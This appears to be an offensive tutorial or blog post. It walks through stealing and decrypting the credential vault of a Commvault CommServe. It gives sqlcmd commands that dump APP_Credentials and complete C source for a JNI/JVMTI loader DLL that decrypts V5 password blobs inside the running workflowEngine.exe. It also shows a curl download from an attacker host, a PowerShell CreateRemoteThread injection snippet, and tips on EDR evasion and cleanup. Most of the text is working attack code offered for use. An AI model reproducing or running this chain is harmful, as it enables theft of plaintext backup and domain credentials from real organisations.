Skip to content

Commvault Vault: Decrypting V5 Blobs with Live JVM Injection

You are SYSTEM on a Commvault CommServe. You want the credential vault in plaintext. The vault sits in the local SQL instance, but the passwords are V5 blobs. You cannot crack them, and offline decryption does not work. The key only lives inside a running Commvault service. So you borrow it.

Full source is on GitHub: 0xCZR1/Commvault-JVMInjection.

Pull the vault out of SQL

As SYSTEM you get sysadmin on the local instance through Windows auth. Confirm it first.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT SUSER_SNAME(), IS_SRVROLEMEMBER('sysadmin')"

The vault is in APP_Credentials. The password column is the V5 ciphertext. This is the blob extraction.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT credentialName, userName, password FROM APP_Credentials WHERE password IS NOT NULL AND password <> ''"

Dump it to CSV so you can paste the blobs into the loader later.

sqlcmd -S .\COMMVAULT -E -d CommServ -s "," -W -h -1 -Q "SET NOCOUNT ON; SELECT credentialName,userName,password FROM APP_Credentials WHERE password<>''" -o C:\Users\Public\cv_creds.csv

One free win before you decrypt anything. The scheme is deterministic, no salt, no IV. Same plaintext gives the same blob. Group by the blob and equal rows mean reused passwords, even across domains.

sqlcmd -S .\COMMVAULT -E -d CommServ -Q "SELECT password, COUNT(*) AS reuse FROM APP_Credentials WHERE password<>'' GROUP BY password HAVING COUNT(*)>1"

Why offline never works

The V5 key is wrapped in the registry and unwrapped by native code at service startup. The real key ends up in a C++ global that is only filled when a Commvault service runs its session init. Any cold process reads a null global and crashes at the same spot every time. Stop fighting it offline, go into a live service.

Find a live JVM that already holds the key

tasklist /m WorkflowEvent.dll
tasklist /m jvm.dll
(Get-CimInstance Win32_Process -Filter "ProcessId=<PID>").CommandLine

You want workflowEngine.exe. It has the JVM, WorkflowEvent.dll and CvBasicLib.dll all loaded, so the key context is already built in that process. Make sure the command line has no -XX:+DisableAttachMechanism.

Build the loader DLL on Linux

The Linux JDK headers miss win32/jni_md.h, so stub it.

mkdir -p win32_include && printf '#ifndef _JNI_MD_H\n#define _JNI_MD_H\n#define JNICALL __stdcall\n#define JNIEXPORT __declspec(dllexport)\n#define JNIIMPORT __declspec(dllimport)\ntypedef long jint;\ntypedef long long jlong;\ntypedef signed char jbyte;\n#endif\n' > win32_include/jni_md.h

Then cross compile with mingw.

JH=$(dirname $(find /usr -name jni.h 2>/dev/null | head -1)) ; x86_64-w64-mingw32-gcc -shared -O2 loader.c -o loader.dll -I"$JH" -Iwin32_include

The loader

The loader grabs the running JVM with JNI_GetCreatedJavaVMs, attaches a thread, then uses JVMTI GetLoadedClasses to find the class. JVMTI matters here. An injected thread has no Java frames, so FindClass only sees the bootstrap loader and misses the webapp class. The live class is commvault.qnet.sys.CVPassword, not the commvault.web.shared.CVPassword you see in the decompiled jar. decrypt is an instance method, so you build an object with the no arg constructor, then call it per blob.

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <jni.h>
#include <jvmti.h>

DWORD WINAPI go(LPVOID _) {
    FILE* f = fopen("C:\\Users\\Public\\o.txt", "w");
    if (!f) return 1;                                                  // never fprintf(NULL,...)

    typedef jint (JNICALL *GetVMs)(JavaVM**, jsize, jsize*);
    GetVMs gv = (GetVMs)GetProcAddress(GetModuleHandleA("jvm.dll"), "JNI_GetCreatedJavaVMs");
    if (!gv) { fprintf(f,"no export\n"); fclose(f); return 2; }

    JavaVM* vm; jsize n;
    if (gv(&vm,1,&n) || !n) { fprintf(f,"no vm\n"); fclose(f); return 3; }

    JNIEnv* env;
    if ((*vm)->AttachCurrentThread(vm,(void**)&env,NULL)) { fprintf(f,"attach fail\n"); fclose(f); return 4; }

    jvmtiEnv* ti = NULL;
    if ((*vm)->GetEnv(vm,(void**)&ti,JVMTI_VERSION_1_2) || !ti) { fprintf(f,"no jvmti\n"); fclose(f); return 5; }

    jint cc; jclass* classes;                                          // JVMTI enumerates ALL classloaders; FindClass would only see bootstrap
    if ((*ti)->GetLoadedClasses(ti,&cc,&classes) != JVMTI_ERROR_NONE) { fprintf(f,"GetLoadedClasses fail\n"); fclose(f); return 6; }
    jclass cls = NULL;
    for (jint i=0;i<cc;i++){
        char* sig=NULL;
        if ((*ti)->GetClassSignature(ti,classes[i],&sig,NULL)==JVMTI_ERROR_NONE && sig){
            if (strcmp(sig,"Lcommvault/qnet/sys/CVPassword;")==0)      // the REAL class, not the one from the jar
                cls = (jclass)(*env)->NewGlobalRef(env, classes[i]);  // pin it so GC can't invalidate after Deallocate
            (*ti)->Deallocate(ti,(unsigned char*)sig);
        }
        if (cls) break;
    }
    (*ti)->Deallocate(ti,(unsigned char*)classes);
    if (!cls){ fprintf(f,"CVPassword not found\n"); fclose(f); return 7; }

    jmethodID ctor    = (*env)->GetMethodID(env, cls, "<init>", "()V");
    jmethodID decrypt = (*env)->GetMethodID(env, cls, "decrypt", "(Ljava/lang/String;)Ljava/lang/String;");  // instance method
    if ((*env)->ExceptionCheck(env)) (*env)->ExceptionClear(env);
    if (!ctor || !decrypt){ fprintf(f,"ctor=%p decrypt=%p\n",(void*)ctor,(void*)decrypt); fclose(f); return 8; }

    jobject obj = (*env)->NewObject(env, cls, ctor);                   // no-arg ctor
    if ((*env)->ExceptionCheck(env)){ (*env)->ExceptionClear(env); }
    if (!obj){ fprintf(f,"NewObject failed\n"); fclose(f); return 9; }

    fprintf(f,"CVPassword ready\n\n");

    const char* blobs[] = { "<BLOB_1>", "<BLOB_2>", /* paste APP_Credentials.password values */ NULL };
    const char* names[] = { "<CRED_1>", "<CRED_2>", /* matching credentialName labels        */ NULL };

    for (int i=0; blobs[i]; i++){
        jstring in  = (*env)->NewStringUTF(env, blobs[i]);
        jstring out = (jstring)(*env)->CallObjectMethod(env, obj, decrypt, in);   // decrypt inside the live, key-initialized JVM
        if ((*env)->ExceptionCheck(env)){
            (*env)->ExceptionClear(env);                              // swallow per-blob errors so one bad blob doesn't kill the service
            fprintf(f,"%s => EXCEPTION\n", names[i]);
        } else if (out){
            const char* s = (*env)->GetStringUTFChars(env, out, NULL);
            fprintf(f,"%s => %s\n", names[i], s?s:"(nullchars)");
            if (s) (*env)->ReleaseStringUTFChars(env, out, s);
        } else {
            fprintf(f,"%s => null\n", names[i]);
        }
        if (in)  (*env)->DeleteLocalRef(env, in);
        if (out) (*env)->DeleteLocalRef(env, out);
    }

    (*env)->DeleteGlobalRef(env, cls);
    fclose(f);
    (*vm)->DetachCurrentThread(vm);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l){
    if (r==DLL_PROCESS_ATTACH){ DisableThreadLibraryCalls(h); CreateThread(0,0,go,0,0,0); }   // do work off a new thread, not in DllMain
    return TRUE;
}

The repo also has recon.c and sig_dump.c. Run recon first to list the real class names, then dump the method signatures, then run the decrypt loader above. Do not skip straight to decrypt.

Inject it

Pull the built DLL onto the box.

curl.exe -s http://<ATTACKER_IP>:443/loader.dll -o C:\Users\Public\loader.dll

Inject with CreateRemoteThread and LoadLibraryA.

$code = @'
using System;
using System.Runtime.InteropServices;
public class Inj {
    [DllImport("kernel32")] public static extern IntPtr OpenProcess(int a, bool b, int c);
    [DllImport("kernel32")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr b, byte[] buf, uint s, out IntPtr w);
    [DllImport("kernel32")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t);
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string n);
}
'@ ; Add-Type $code ; $bytes=[Text.Encoding]::ASCII.GetBytes("C:\Users\Public\loader.dll"+"`0") ; $h=[Inj]::OpenProcess(0x1F0FFF,$false,<PID>) ; $mem=[Inj]::VirtualAllocEx($h,[IntPtr]::Zero,[uint32]$bytes.Length,0x3000,0x40) ; $w=[IntPtr]::Zero ; [Inj]::WriteProcessMemory($h,$mem,$bytes,[uint32]$bytes.Length,[ref]$w) ; $ll=[Inj]::GetProcAddress([Inj]::GetModuleHandle("kernel32.dll"),"LoadLibraryA") ; [Inj]::CreateRemoteThread($h,[IntPtr]::Zero,0,$ll,$mem,0,[IntPtr]::Zero) ; Start-Sleep 3 ; Get-Content C:\Users\Public\o.txt

Read C:\Users\Public\o.txt and you have the vault in plaintext.

Each new injection needs a fresh DLL filename (loader2.dll, loader3.dll) and a fresh Add-Type class name (Inj2, Inj3). Windows will not load the same path into the same PID twice, and PowerShell will not redefine a type in the same session.

Notes

  • One bad JNI call kills the whole backup service. Keep the guards in. Null check everything, pin the class with NewGlobalRef, and ExceptionClear after every call.
  • This chain is loud. OpenProcess(0x1F0FFF), RWX VirtualAllocEx, WriteProcessMemory, CreateRemoteThread(LoadLibraryA) into a backup service is textbook injection, and EDR flags it. Check the EDR state first.
  • The injected DLL clears on service restart. Clean up loader*.dll, o.txt and the CSV when you are done.

The full cheatsheet with recon, the dead ends, and OPSEC is in the repo.